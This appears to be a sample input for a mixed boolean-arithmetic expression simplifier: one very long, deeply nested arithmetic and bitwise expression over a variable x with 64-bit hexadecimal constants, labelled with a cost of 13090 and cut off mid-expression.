Input (cost = 13090): ((-((((((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*